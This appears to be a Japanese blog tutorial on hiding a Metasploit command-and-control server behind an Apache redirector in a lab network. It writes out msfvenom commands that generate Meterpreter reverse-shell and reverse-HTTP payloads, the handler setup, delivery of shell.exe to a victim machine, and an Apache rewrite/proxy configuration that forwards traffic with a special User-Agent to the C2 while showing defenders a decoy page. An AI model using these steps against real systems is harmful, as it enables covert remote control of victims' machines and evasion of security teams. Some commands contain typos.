Metasploit+Apache(リダイレクタ)でC2サーバーを隠してみる
やりたいこと
C2サーバーと直接アクセスをすると、すぐに発見されてしまう。なので、うまくC2サーバーの存在を隠したいと思います。
今回は、C2サーバーの手前にwebサーバー(redirector)を設置して存在を隠してみようと思います。
ブラウザからの通常のアクセス
通常のブラウザでアクセスされた場合は、あたかもただのwebサーバーの様に振る舞い、ページをブラウザに返却します。

C2エージェントからのアクセス
CC2エージェントは、C2サーバーにアクセスするように特別なUser-Agentヘッダーを付与してwebサーバーにアクセスします。webサーバーは指定のヘッダーが存在する場合は、背後のC2サーバーに対してvictimへのリバースシェルをリダイレクトします。

STEP1 リバースシェルの疎通確認
リダイレクタなどを使用せずに構築したラボ環境で、リバースシェルが機能するかを試してみます。リバースシェルのテストなので、今回はペイロードは、「windows/meterpreter/reverse_tcp」で大丈夫です。後半は、C2サーバーを隠すために、「windows/meterpreter/reverse_http」を使用します。
kaliで以下のコマンドを実行して、ペイロードを作成します。
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=4444 exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
2023/10/04 追記:
上記の用に、アーキティクチャを指定しないと、デフォルトで、32bit(x86)になっていた。以下のように標的のマシーンのアーキティクチャを指定してペイロードを作成した法がいい。
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT4444 exe -o shell.exe
次に、victimから送られてくるシェルをキャッチするために、metasploitで待ち受けます。
$ msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.31:4444
作成された、shell.exeをvictimに渡して実行します。今回は、attackマシーンでwebサーバーを起動させて、shell.exeをダウンロードさせました。
attackマシーンで、webサーバーを起動。
$ python -m http.server
erving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
victimマシーンから、webサーバーにアクセスして、shell.exeをダウンロード。

ダウンロードしたshell.exeを実行。

attackマシーの、metasploitで、meterpreterのシェルをゲットできた。
[*] Sending stage (175686 bytes) to 192.168.1.40
[*] Meterpreter session 2 opened (192.168.1.31:4444 -> 192.168.1.40:49211) at 2023-09-25 10:38:17 +0900
meterpreter >pwd
C:\Users\hoge\Desktop
これで、リバースシェルの疎通確認は完了ですが、一応reverse_tcpのリバースシェルのパケットキャプチャを確認します。生でC2サーバーと通信するとこうなります。通信が「TCP」で、宛先ポートが「4444」となっているので、怪しまれます。今後の作業で、通信を「HTTP」にして、宛先ポートを「80」にして、C2サーバーの存在を隠す工夫をします。

リダイレクタ用にApacheを設定
apacheのリダイレクトが正常に動くかの検証をここでおこないます。
apacheの設定
C2サーバーのフロントで、リダイレクタとして動く、webサーバーを構築していきます。redirectorにて作業を進めます。
$ sudo apt install apache2
$ sudo systemctl enable apache2
$ sudo systemctl start apache2
victimマシーンからredirectorのwebページにアクセスできるか確認します。デフォルトのページが出て入ればOK。

必要なモジュールを有効にする。
# 有効になっているモジュールを確認する
$ apache2ctl -M
# headers, rewrite, proxy, http_proxyが必要なので、有効にする。
$ sudo a2enmod headers, rewrite, proxy, hettp_proxy
# リスタート
$ sudo systemctl restart apache2
# 4つのモジュールが有効になったか確認
$ apache2ctl -M
/etc/apache2/sites-enabled/000-default.confの内容を以下のように修正する。
- 「192.168.1.31:8000」は、この後kaliのIPアドレスとリバースシェルを受取るポート。IPアドレスは各自の環境に合わせて設定。ポートは8000のままでよい。
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
RewriteEngine On
# User-Agent is NotMeterpreter.
RewriteCond %{HTTP_USER_AGENT} "^NoMeterpreter$"
RewriteRule ^/.*$ http://192.168.1.31:8000/index.html [P,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
通常時に表示する、index.htmlを用意する。
$ sudo cd /var/www/html
$ sudo mv index.html index.html.back
$ sudo echo "index" > index.html
apacheの再起動も忘れずに。
$ sudo systemctl restart apache2
redirector自身にブラウザでアクセスをして確認。

リダイレクト検証用のkaliの設定
kali側で、リダイレクトされた時に表示させたいhtmlファイルを準備して、webサーバーを起動させる。
$ cd /tmp
$ mkdir test
$ cd test
$ echo "kali" > index.html
$ python -m http.server
kaliからブラウザで自身のURLにアクセスしてみる。

リダイレクトの検証
(検証内容)
- 通常のアクセスは、indexと表示される
- C2用にUser-Agentヘッダーに、「NoMeterpreter」と入れた場合は、kaliと表示される。
$ curl -H "User-Agent: NoMeterPreter" http://192.168.1.41
index
$ curl http://192.168.1.41 -H "User-Agent: NoMeterpreter"
kali
これで、特定のヘッダーが含まれる場合は、attackマシーンの8000に転送されることの検証ができた。
victimマシーンからも検証をしてみる。
- 通常のアクセス


- C2用にUser-Agentヘッダーに、「NoMeterpreter」と入れた場合は、kaliと表示
IEでUser-Agentを偽装するのが面倒なので、System.Net.WebClientを使用。
$url = "http://192.168.1.41"
$userAgent = "NoMeterpreter"
$webclient = New-Object System.Net.WebClient
$webclient.Headers["User-Agent"] = $userAgent
$response = $webclient.DownloadString($url)
$response
kali


リダイレクタを使用したペイロードへ設定変更
ペイロード再作成
まずは、victim用にペイロードを作成し直して、victimに再配布します。
attackマシーンでペイロードを作り直します。LHOSTはredirectorのIPアドレスを指定して、LPORTもredirectorのポートを指定します。
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.1.41 LPORT=80 HttpUserAgent=NoMeterpreter -f exe -o shell.exe
そして、先程の手順と同様にkali上に簡易webサーバーをたてて、shell.exeをvictimマシーンにダウンロードします。
apacheの設定変更
後ほどapacheのproxy設定周りの調査が必要ですが、なぜかRewriteRuleではなく、以下のようにProxyPassに設定を変更しないとうまく動きませんでした。
- /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
RewriteEngine On
# User-Agentが "NoMeterpreter" の場合、192.168.1.31:8000へ転送
RewriteCond %{HTTP_USER_AGENT} "^NoMeterpreter$"
#RewriteRule ^/.*$ http://192.168.1.31:8000/index.html [P,L]
ProxyPass "/" "http://192.168.1.31:8000/"
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
もちろん、apacheのりスターを忘れずに。
msfconsoleで待ち受ける
$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST 192.168.1.31 #attackマシーンのIP
msf6 exploit(multi/handler) > set LPORT 8000 #attackマシーンで待ち受けたいポート番号
msf6 exploit(multi/handler) > set ReverseListenerBindAddress 192.168.1.31 #attackマシーンのIP
msf6 exploit(multi/handler) > set REverseListenerBindPort 8000 #attackマシーンの待受ポート
msf6 exploit(multi/handler) > set OverrideLHOST 192.168.1.41 #redirectorのIP
msf6 exploit(multi/handler) > set OverrideLPORT 80 #redirectorのIP
msf6 exploit(multi/handler) > set HttpUserAgent NoMeterpreter #待ち受けるUser-Agent
msf6 exploit(multi/handler) > set OverrideRequestHost true
上記を確認するとこんな感じ。(抜粋)
msf6 exploit(multi/handler) > show options
Name Current Setting
---- --------------- -------- -----------
EXITFUNC process
LHOST 192.168.1.31
LPORT 8000
msf6 exploit(multi/handler) > show advanced
Name Current Setting
---- ---------------
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html>
HttpUserAgent NoMeterpreter
OverrideLHOST 192.168.1.41
OverrideLPORT 80
OverrideRequestHost true
ReverseListenerBindAddress 192.168.1.31
ReverseListenerBindPort 8000
待受実行。
msf6 exploit(multi/handler) > exploit
victimマシーンでペイロードを実行
先程、victimにダウンロードした、shell.exeを実行します。
attackマシーン上でvictimのシェルをゲットしました。

vimcim上のwiresharkはこんな感じで、ちゃんとUser-Agentが確認できます。

ちなみにブルーチームがこのURLを怪しいと思いブラウザでアクセスすると、User-Agentが違うので、以下の普通の画面が表示されます。

しかしこれでも、ホワイトハッカーが見たら一目瞭然ですよね。
なので、次回はhttps通信を使用して、通信内容も見えないようにしてしまおうと思います。